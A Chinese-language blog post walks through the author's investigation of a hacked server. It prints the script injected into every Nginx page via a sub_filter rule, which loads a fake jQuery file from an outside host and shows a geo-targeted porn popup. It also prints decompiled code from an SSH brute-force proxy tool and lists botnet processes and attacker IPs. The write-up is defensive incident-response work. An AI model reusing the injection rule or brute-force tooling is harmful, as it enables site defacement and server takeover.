banner
Fei_xiangShi

FXLOG

你在这里发现了我, 说明了什么呢?

記一次 Nginx 被入侵事件

0x01 起因#

當我如往常一般打開 PVE 想掛一掛原神的時候,發現居然 Nginx (1.18) 的默認頁面被注入了一個 JS,他還偽裝成 JQuery,非常有趣

image

JS 反混淆#

查看這個 JS,發現是混淆過後的,於是進行一個反混淆

image

image

反混淆代碼如下:

(() => { 
    const config = {
        key: "13792427ab60437bafb55088e45e0e06",
        address: "https://bootscritp.com/lib/jquery/4.7.2/index.html",  
        imageUrl: "https://bootscritp.com/lib/jquery/4.7.2/1.gif", 
        jumpPercent: 100,   // 百分比控制
        jumpCount: 1,       // 每天最多彈幾次
        debug: false        // 調試開關(true = 強制彈)
    };

    function createPopup() {
        if (document.getElementById("popup-container")) return;
        const html = `
        <div id="popup-container" 
             style="display:none;position:fixed;top:0;left:0;width:100%;height:100%;
                    background:rgba(0,0,0,0.6);z-index:999999;">
          <div id="popup-box" 
               style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);
                      border-radius:12px;max-width:90%;background:transparent;">
            <div style="text-align:right;position:absolute;top:-35px;right:-5px;">
              <span id="popup-close" 
                    style="cursor:pointer;font-size:26px;font-weight:bold;color:#fff;
                           transition:color 0.3s;">&#10006;</span>
            </div>
            <div style="text-align:center;">
              <img id="popup-image" alt="點擊進入" 
                   style="cursor:pointer;width:90%;max-width:600px;border-radius:12px;">
            </div>
          </div>
        </div>`;
        document.body.insertAdjacentHTML("beforeend", html);
    }

    function showPopup() {
        createPopup();
        const popup = document.getElementById("popup-container");
        const box   = document.getElementById("popup-box");
        const img   = document.getElementById("popup-image");
        const closeBtn = document.getElementById("popup-close");

        if (popup) popup.style.display = "block";
        if (img) {
            img.src = config.imageUrl;
            img.addEventListener("click", () => window.location.href = config.address);
        }
        if (closeBtn) {
            closeBtn.addEventListener("click", () => popup.style.display = "none");
            closeBtn.addEventListener("mouseover", () => closeBtn.style.color = "red");
            closeBtn.addEventListener("mouseout", () => closeBtn.style.color = "#fff");
        }
        if (popup) popup.addEventListener("click", () => popup.style.display = "none");
        if (box) box.addEventListener("click", (e) => e.stopPropagation());
    }

    function conditionCheck() {
        if (config.debug) { showPopup(); return; }

        let data = {};
        try { data = JSON.parse(localStorage.getItem(config.key)) || {}; } catch {}
        const today = new Date().toISOString().split("T")[0];
        if (data.date !== today) data = { date: today, count: 0 };

        if (data.count >= config.jumpCount || Math.random() * 100 >= config.jumpPercent) return;

        // 只允許中國大陸 IP
        fetch("https://api.ip.sb/geoip")
            .then(r => r.json())
            .then(json => {
                console.log("GeoIP 返回:", json);
                if (json.country_code === "CN") {
                    data.count++;
                    localStorage.setItem(config.key, JSON.stringify(data));
                    showPopup();
                }
            })
            .catch(err => console.warn("GeoIP 失敗", err));
    }

    if (document.readyState === "loading") {
        document.addEventListener("DOMContentLoaded", conditionCheck);
    } else {
        conditionCheck();
    }
})();

色情廣告#

可以看到這不是一個每次都會觸發的腳本,為了滿足各位的好奇心我還是立即執行一下

image

image

0x02 定位#

這是一個國內某伺服器提供商位於寧波的伺服器,伺服器已備案於某公司名下,在這樣一個嚴苛的條件下還能進行攻擊,非常有意思,那麼我們就從受害者 Nginx 開始排查

root@server-rMGU1XbC:~# curl 127.0.0.1
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

登錄伺服器後對本地進行一個請求,發現也被污染了,那麼就開始依次排查哪裡被攻擊了

先看看 Nginx 配置文件

cat /etc/nginx/nginx.conf

...
sub_filter_types text/html;
    sub_filter '</head>' '<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>';
    sub_filter_once off;
...

可以知道 Nginx 所有網頁都被添加了一個頭部

root@server-rMGU1XbC:~# cat /usr/share/nginx/html/index.html 
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

本地 Nginx 主頁文件是沒有被修改的,再檢查一下 Nginx 自己有沒有被攻擊

root@server-rMGU1XbC:~# which nginx
/usr/sbin/nginx
root@server-rMGU1XbC:~# md5sum /usr/sbin/nginx 
1317754528e1c486b6f1e8b363062683  /usr/sbin/nginx

是沒問題的,那麼是誰修改的 Nginx 配置呢

0x03 排查#

lsof 看一下

proxy-age 3906587            root    6u  IPv4 643527364      0t0  TCP server-rMGU1XbC:40482->auditbitcoin.supply:ssh (ESTABLISHED)
proxy-age 3906587            root    7u  IPv4 643523331      0t0  TCP server-rMGU1XbC:59370->vps-ca4bf331.vps.ovh.net:ssh (ESTABLISHED)
proxy-age 3906587            root    8u  IPv4 643527858      0t0  TCP server-rMGU1XbC:41792->server.pagesplus.nl:ssh (ESTABLISHED)
proxy-age 3906587            root    9u  IPv4 643486279      0t0  TCP server-rMGU1XbC:14106->au.ssdvps.xyz:ssh (ESTABLISHED)
proxy-age 3906587            root   10u  IPv4 643524301      0t0  TCP server-rMGU1XbC:19748->static.23.122.90.157.clients.your-server.de:ssh (ESTABLISHED)
proxy-age 3906587            root   11u  IPv4 643524645      0t0  TCP server-rMGU1XbC:58688->95.216.13.40:ssh (ESTABLISHED)

proxy-agent#

用 pid 看一下這個是什麼

root@server-rMGU1XbC:~# sudo lsof -p 3906587
COMMAND       PID USER   FD      TYPE    DEVICE SIZE/OFF      NODE NAME
proxy-age 3906587 root  cwd       DIR      8,17     4096      1684 /tmp/.mjdjuxxcydy/k
proxy-age 3906587 root  rtd       DIR      8,17     4096         2 /
proxy-age 3906587 root  txt       REG      8,17  8587347      2571 /tmp/.mjdjuxxcydy/k/proxy-agent
proxy-age 3906587 root  mem       REG      8,17  2029592     15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
proxy-age 3906587 root  mem       REG      8,17   157224     15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
proxy-age 3906587 root  mem       REG      8,17   101352     15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
proxy-age 3906587 root  mem       REG      8,17   191504     15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
proxy-age 3906587 root    0r     FIFO      0,13      0t0 174659017 pipe
proxy-age 3906587 root    1w      CHR       1,3      0t0         6 /dev/null
proxy-age 3906587 root    2w      CHR       1,3      0t0         6 /dev/null
proxy-age 3906587 root    3w      CHR       1,3      0t0         6 /dev/null
proxy-age 3906587 root    4u  a_inode      0,14        0     11318 [eventpoll]
proxy-age 3906587 root    5u  a_inode      0,14        0     11318 [eventfd]

非常典型的 /tmp 路徑,看一眼

root@server-rMGU1XbC:/tmp/newpop# ls -a /tmp
.           .XIM-unix     cc.2         newpop            sshbot                                                                             uv-5abec762cab0104e.lock
..          .font-unix    cc.3         nginx-test        systemd-private-8ad1e99f07844f46aa091036c4c902b8-ModemManager.service-hcplzi
.ICE-unix   .mjdjuxxcydy  envnew       nginx_cache       systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-logind.service-FYj7gj
.Test-unix  aa.txt        envnew.tgz   nus               systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-timesyncd.service-CEKp4h
.X11-unix   cc.1          initial.log  snap-private-tmp  systemd-private-8ad1e99f07844f46aa091036c4c902b8

根據 .mjdjuxxcydy 目錄的 proxy-agent 所在的目錄,還有 newpopsshbot 都非常可疑啊,隨便拉一個到本地看看

先丟到奇安信去實錘一下,然後自己慢慢分析

image

 file proxy-agent
proxy-agent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=o6eaCr6JBkZCyBoMHfJX/LYWJHnsdDphndSyRnfVW/YgvgIxWc08bxgG1gT0mk/XcdJH4nBZKd8zbsHni3G, with debug_info, not stripped

《with debug_info, not stripped》
Go 語言寫的,居然還有調試信息,看一眼

 ldd proxy-agent
	linux-vdso.so.1 (0x00007fdb32bb8000)
	libresolv.so.2 => /usr/lib/libresolv.so.2 (0x00007fdb32b62000)
	libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007fdb32b5d000)
	libc.so.6 => /usr/lib/libc.so.6 (0x00007fdb32800000)
	/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fdb32bba000)

沒什麼問題,打開 IDA 看一眼

image

image

v87.str = (uint8 *)"http://147.182.224.216/gzip.exe";
v87.len = 31LL;
main_getPasswordFromURL(v87, *(string_0 *)&v0, v2, v3, v55);
v73.str = v87.str;
s = 31LL;
if ( v5 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(v5 + 8);
  v.len = v1;
  v88.str = (uint8 *)"Failed to fetch password: %v\n";
  v88.len = 29LL;
  v96.array = (interface__0 *)&v;
  v96.len = 1LL;
  log_Fatalf(v88, v96);
}
v98.str = (uint8 *)&byte_72937A;
v98.len = 3LL;
v81.str = (uint8 *)"ips.txt\x1B[1;33mFreeBSDUsage:\nfloat32float64UpgradeupgradeCONNECTarcfourssh-rsassh-dsssessionsshtypeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:scheme:statushttp://chunkedCreatedIM UsedTuesdayJanuaryOctoberinvaliduintptrChanDir Value>ConvertforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = ,errno=panic:  nmsys= locks= dying= allocsrax    rbx    rcx    rdx    rdi    rsi    rbp    rsp    r8     r9     r10    r11    r12    r13    r14    r15    rip    rflags cs     fs     gs     Signal signal  m->g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type 19531259765625nil keytls3desderivedInitialconnectlookup writetoSHA-224SHA-256SHA-384SHA-512Ed25519MD5-RSAserial:ExpiresSubjectcharsetavx512fos/execruntimeeae_prkanswers2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsavepass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid  is not  pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal  newval= mcount= bytes, \n-----\n\n stack=[ minLC=  maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 7LL;
v82.str = (uint8 *)"File containing domain and IP pairs";
v82.len = 35LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v82, v6);
_r0.len = v7;
v98.str = (uint8 *)"passwords%alldoms%lschlegelwebsocket";
v98.len = 9LL;
v81.str = (uint8 *)"pass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid  is not  pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal  newval= mcount= bytes, \n-----\n\n stack=[ minLC=  maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 8LL;
v83.str = (uint8 *)"File containing passwords";
v83.len = 25LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v83, v8);
_r0.array = v9;
v98.str = (uint8 *)&go_string__ptr_;
v98.len = 1LL;
v81.str = (uint8 *)&value;
v81.len = 2LL;
v84.str = (uint8 *)"SSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid  is not  pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal  newval= mcount= bytes, \n-----\n\n stack=[ minLC=  maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v84.len = 8LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v84, v10);
v70 = v11;
v98.str = (uint8 *)&byte_7ACE40;
v98.len = 1LL;
v81.str = (uint8 *)&byte_72937D;
v81.len = 3LL;
v85.str = (uint8 *)"Timeout duration";
v85.len = 16LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v85, v12);
v69 = v13;
v98.str = (uint8 *)"serverport";
v98.len = 10LL;
v81.str = (uint8 *)"9595\x1B[0mroottrueuint:443httpnoneABRTALRMKILLPIPEQUITSEGVTERMexecunixreadSSH-Host&lt;&gt;idle1080DATAPINGPOSTEtag0x%xdateetagfromhostlinkvaryDategzip%x\r\nGoneopenstatsyncfileJuneJuly as hour in /etcboolint8chanfunccallkind on  != allgallpitabsbrkdead is LEAFbase of ) =  <==GOGC] = s + ,r2= pc=+Inf-Inf: p=cas1cas2cas3cas4cas5cas6 at \n\tm= sp= sp: lr: fp= gp= mp=) m=3125Atoiicmpigmpftpspop3smtpdial \r\t\nbindasn1Fromxn--ermssse3avx2bmi1bmi2timebitsNameTypecx16sse2%s:%s<nil>LinuxSunossvr04falsevaluefloat  -%sErrorhttpswrite&amp;&#34;&#39;:***@Rangerangeclose:path%s %q%s=%sHTTP/socksFoundlstatMarchAprilmonthLocalGreekint16int32int64uint8arrayslice and defersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptracepanicsleep cnt=gcing MB,  got= ...\n max=scav  ptr ] = (trap:init  ms, fault tab= top=[...], fp:1562578125tls: Earlylinuxfilesimap2imap3imapspop3shostsparseSHA-1P-224P-256P-384P-521ECDSAutf-8%s*%dtext/bad nsse41sse42ssse3 (at Class...155%User%%user%Darwinnodorrstring\n    \tStringFormat[]byteBasic serveractiveclosedsocks5CANCELGOAWAYPADDEDCookieacceptallow";
v81.len = 4LL;
v86.str = (uint8 *)"Port for receiving data";
v86.len = 23LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v86, v14);
v68 = v15;
main_concurrency = 1000LL;
v98.str = (uint8 *)&go_itab__ptr_flag_intValue_comma_flag_Value;
v98.len = (int)&main_concurrency;
*(_QWORD *)v16 = &byte_7AE7D0;
*(_QWORD *)&v16[8] = 1LL;
*(_QWORD *)&v16[16] = "Concurrency level for SSH attempts";
*(_QWORD *)&v16[24] = 34LL;
flag__ptr_FlagSet_Var(flag_CommandLine, (flag_Value_0)v98, *(string_0 *)v16, *(string_0 *)&v16[16]);
if ( !os_Args.len )
  runtime_panicSliceB();
v17 = os_Args.len - 1;
*(_QWORD *)v16 = os_Args.cap - 1;
*(_QWORD *)&v16[8] = ((1 - os_Args.cap) >> 63) & 0x10;
v18 = (char *)os_Args.array + *(_QWORD *)&v16[8];
flag__ptr_FlagSet_Parse(flag_CommandLine, *(_slice_string_0 *)&v16[-16], *(error_0 *)&v16[8]);
v19 = *v69;
v20 = v69[1];
time_ParseDuration(*(string_0 *)(&v20 - 1), v21, *(error_0 *)v16);
elem = v24;
if ( v20 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(v20 + 8);
  v.len = v22;
  v89.str = (uint8 *)"Invalid timeout value: %v";
  v89.len = 25LL;
  p_v = &v;
  *(_QWORD *)v16 = 1LL;
  *(_QWORD *)&v16[8] = 1LL;
  log_Fatalf(v89, *(_slice_interface__0 *)&v16[-8]);
}
len = _r0.len;
v90 = *(string_0 *)_r0.len;
main_loadDomainIPs(
  *(string_0 *)_r0.len,
  *(_slice_main_domainIP *)&v16[-8],
  *(_slice_main_domainIP *)&v16[16],
  v56,
  v58);
v73.len = (int)v90.str;
v63 = v90.len;
if ( *(_QWORD *)v16 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
  v.len = *(_QWORD *)&v16[8];
  v91.str = (uint8 *)"Failed to load domain and IP pairs from file: %vbufio: writer returned negative count from Write";
  v91.len = 48LL;
  v27 = &v;
  *(_QWORD *)v16 = 1LL;
  *(_QWORD *)&v16[8] = 1LL;
  log_Fatalf(v91, *(_slice_interface__0 *)&v16[-8]);
}
array = _r0.array;
v92 = *_r0.array;
main_loadPasswords(*_r0.array, *(_slice_string_0 *)&v16[-8], *(_slice_string_0 *)&v16[16], v57, v59);
str = v92.str;
v61 = v92.len;
if ( *(_QWORD *)v16 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
  v.len = *(_QWORD *)&v16[8];
  v93.str = (uint8 *)"Failed to load passwords from file: %v";
  v93.len = 38LL;
  v30 = &v;
  *(_QWORD *)v16 = 1LL;
  *(_QWORD *)&v16[8] = 1LL;
  log_Fatalf(v93, *(_slice_interface__0 *)&v16[-8]);
}
v94.str = v73.str;
v94.len = s;
strings_TrimSpace(v94, *(string_0 *)&v16[-8]);
if ( main_defaultPassword.len != s || (runtime_memequal(), !v32) )
{
  v95.str = (uint8 *)"Incorrect password. Exiting...\n";
  v95.len = 31LL;
  v97.array = 0LL;
  *(_OWORD *)&v97.len = 0uLL;
  log_Fatalf(v95, v97);
}

仔細看過每個函數後,發現這個軟體並不是導致 Nginx 頁面被篡改的罪魁禍首,這只是用我們機器做代理去攻擊別的伺服器的代理軟體,那我們還得分析

brute#

進入 sshbot 文件夾發現了 brute 可執行文件

brute 用來爆破伺服器帳號和密碼,配合 proxy-agent 攻擊別的受害者

image

dockers#

查看 ps aux 可以看到很多在暑假啟動的 dockers 進程,雖然顯示了運行路徑,但是實地考察時發現文件已經被刪掉了,只有核心轉儲了

root     3578741  0.0  0.1  15896  3828 ?        S    Jul17   5:09 /usr/sbin/dockers
root     3664316  0.0  0.1  15900  3836 ?        S    Jul17   0:31 /usr/sbin/dockers
root     3690959  0.0  0.2  16028  3968 ?        S    Jul18   4:58 /usr/sbin/dockers
root     3694008  0.0  0.1  16032  3904 ?        S    Jul18   5:01 /usr/sbin/dockers
root     3694116  0.0  0.1  15892  3816 ?        S    Jul18   4:54 /usr/sbin/dockers
root     3694272  0.0  0.1  16032  3840 ?        S    Jul18   4:56 /usr/sbin/dockers
root     3695142  0.0  0.1  15900  3824 ?        S    Jul18   5:06 /usr/sbin/dockers
root     3696764  0.0  0.1  15900  3840 ?        S    Jul18   4:54 /usr/sbin/dockers
root     3698274  0.0  0.1  16024  3868 ?        S    Jul18   4:57 /usr/sbin/dockers
root     3701017  0.0  0.1  15900  3836 ?        S    Jul18   4:59 /usr/sbin/dockers
root     3701045  0.0  0.1  15896  3832 ?        S    Jul18   5:05 /usr/sbin/dockers
root     3790827  0.0  0.2  15896  4212 ?        S    Jul18   4:58 /usr/sbin/dockers
root     3829224  0.0  0.2  15900  4160 ?        S    Jul19   5:00 /usr/sbin/dockers

隨便抓一個用 gcore 進行內存轉儲,獲得 core dump

gcore -o ./dump 3829224

丟到 IDA 裡看看

image

一個 Perl 腳本,繼續查看字符串

image

PnP 和 IRC,確定是殭屍網絡無疑了,dockers 估計就是用來控制我們的上級伺服器和用我們去控制別的肉雞的軟體

lsof 查一下 dockers 的通信 IP,看看是什麼地方的肉雞

image

原來在瑞士

0x04 水落石出#

繼續查看 ps aux 看到一個運行了很久的 sshd 進程,得知這個瑞士的 185.208.158.91 的 IP 一直在連接我們的伺服器,真是囂張,都不隱藏自己一下嗎

root     3809994 57.6  0.2  16656  5564 ?        R    Aug20 18319:18 /usr/sbin/sshd -i
root@server-rMGU1XbC:/var/log# sudo netstat -natp | grep 3809994
tcp        0      0 110.xxx.98.xxx:39290     185.208.158.91:6667     ESTABLISHED 3809994/sshd -i

嘗試全盤搜索這個用 ssh 連接我們的 IP

sudo grep -r "185.208.158.91" /etc /var /home

發現日誌

Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: Accepted password for root from 185.208.158.91 port 60788 ssh2
Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 01 06:35:43 server-rMGU1XbC systemd[1]: Started Session 24621 of user root.
Sep 01 06:35:43 server-rMGU1XbC systemd-logind[677]: New session 24621 of user root.
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.000736436+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.015785227+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;GetNetCard 2
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;CatNetCardState eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: up
Sep 01 06:35:47 server-rMGU1XbC casaos-message-bus[1249]: {"time":"2025-09-01T06:35:47.033515811+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:33341","method":"POST","uri":>
Sep 01 06:35:47 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session closed for user root
Sep 01 06:35:47 server-rMGU1XbC systemd-logind[677]: Session 24621 logged out. Waiting for processes to exit.

《Accepted password》
伺服器上應該有防爆破攻擊失敗 ban 的防禦程序啊,怎麼會被知道密碼呢
(思考)

警覺 *

image

果然老運維也會犯這樣的錯,原本在合資和同學買這個伺服器的時候就三番兩次地提醒說不要設置這麼簡單的密碼,被以複雜密碼不好記,令牌登錄不方便等原因糊弄過去,也就不了了之了。

還以為是什麼軟體太老了被找到了 CVE,還怪了一下 Ubuntu,看來還是社工 > 技術啊

現在當務之急便是重裝系統,改一個密碼,然後寫一篇博客告誡自己

0x05 後記#

誰在只有 20 個 G 的伺服器上裝了一個 NAS 啊,也不知道用的難不難受,沒有分區用戶資料這下重裝系統只有全部數據 GG 了

假 cron 和 newpop#

清理系統時又發現一個病毒

root@server-rMGU1XbC:~/volatility# ps aux | grep cron
root         632  0.0  0.1   8540  2552 ?        Ss   Apr14   0:19 /usr/sbin/cron -f
root      293584 57.8  0.2  16532  4876 ?        R    Aug26 14023:41 /usr/sbin/cron
root     2451024  0.0  0.1   8436  2460 pts/4    S+   22:33   0:00 grep --color=auto cron
root@server-rMGU1XbC:~/volatility# lsof -p 293584
COMMAND      PID USER   FD   TYPE    DEVICE SIZE/OFF      NODE NAME
/usr/sbin 293584 root  cwd    DIR      8,17        0      2374 /tmp/newpop (deleted)
/usr/sbin 293584 root  rtd    DIR      8,17     4096         2 /
/usr/sbin 293584 root  txt    REG      8,17  3478464      2113 /usr/bin/perl
/usr/sbin 293584 root  mem    REG      8,17   101352     15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
/usr/sbin 293584 root  mem    REG      8,17    27112     15383 /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
/usr/sbin 293584 root  mem    REG      8,17    51856     15384 /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
/usr/sbin 293584 root  mem    REG      8,17    23152     72436 /usr/lib/x86_64-linux-gnu/perl/5.30.0/auto/IO/IO.so
/usr/sbin 293584 root  mem    REG      8,17    47832     72450 /usr/lib/x86_64-linux-gnu/perl/5.30.0/auto/Socket/Socket.so
/usr/sbin 293584 root  mem    REG      8,17       62     15152 /usr/lib/locale/C.UTF-8/LC_NAME
/usr/sbin 293584 root  mem    REG      8,17       47     15155 /usr/lib/locale/C.UTF-8/LC_TELEPHONE
/usr/sbin 293584 root  mem    REG      8,17       34     15154 /usr/lib/locale/C.UTF-8/LC_PAPER
/usr/sbin 293584 root  mem    REG      8,17       23     15149 /usr/lib/locale/C.UTF-8/LC_MEASUREMENT
/usr/sbin 293584 root  mem    REG      8,17      252     15148 /usr/lib/locale/C.UTF-8/LC_IDENTIFICATION
/usr/sbin 293584 root  mem    REG      8,17      131     15145 /usr/lib/locale/C.UTF-8/LC_ADDRESS
/usr/sbin 293584 root  mem    REG      8,17  1518110     15146 /usr/lib/locale/C.UTF-8/LC_COLLATE
/usr/sbin 293584 root  mem    REG      8,17   201272     15147 /usr/lib/locale/C.UTF-8/LC_CTYPE
/usr/sbin 293584 root  mem    REG      8,17  3035952     11819 /usr/lib/locale/locale-archive
/usr/sbin 293584 root  mem    REG      8,17   202760      3462 /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
/usr/sbin 293584 root  mem    REG      8,17  2029592     15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/sbin 293584 root  mem    REG      8,17   157224     15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
/usr/sbin 293584 root  mem    REG      8,17  1369384     15378 /usr/lib/x86_64-linux-gnu/libm-2.31.so
/usr/sbin 293584 root  mem    REG      8,17    18848     15377 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
/usr/sbin 293584 root  mem    REG      8,17      270     15151 /usr/lib/locale/C.UTF-8/LC_MONETARY
/usr/sbin 293584 root  mem    REG      8,17       48     15150 /usr/lib/locale/C.UTF-8/LC_MESSAGES/SYS_LC_MESSAGES
/usr/sbin 293584 root  mem    REG      8,17     3360     15156 /usr/lib/locale/C.UTF-8/LC_TIME
/usr/sbin 293584 root  mem    REG      8,17  27002     15643 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
/usr/sbin 293584 root  mem    REG      8,17   191504     15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/sbin 293584 root  mem    REG      8,17       50     15153 /usr/lib/locale/C.UTF-8/LC_NUMERIC
/usr/sbin 293584 root    0r  FIFO      0,13      0t0 499017526 pipe
/usr/sbin 293584 root    1w  FIFO      0,13      0t0 499017527 pipe
/usr/sbin 293584 root    2w  FIFO      0,13      0t0 499017528 pipe
/usr/sbin 293584 root    3u  IPv4 504764119      0t0       TCP server-rMGU1XbC:60640->104.250.164.23:ircd (ESTABLISHED)

正好對應上之前 /tmp裡找到的 newpop,真是密碼一泄漏,全部殭屍網絡都過來搶肉雞了

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。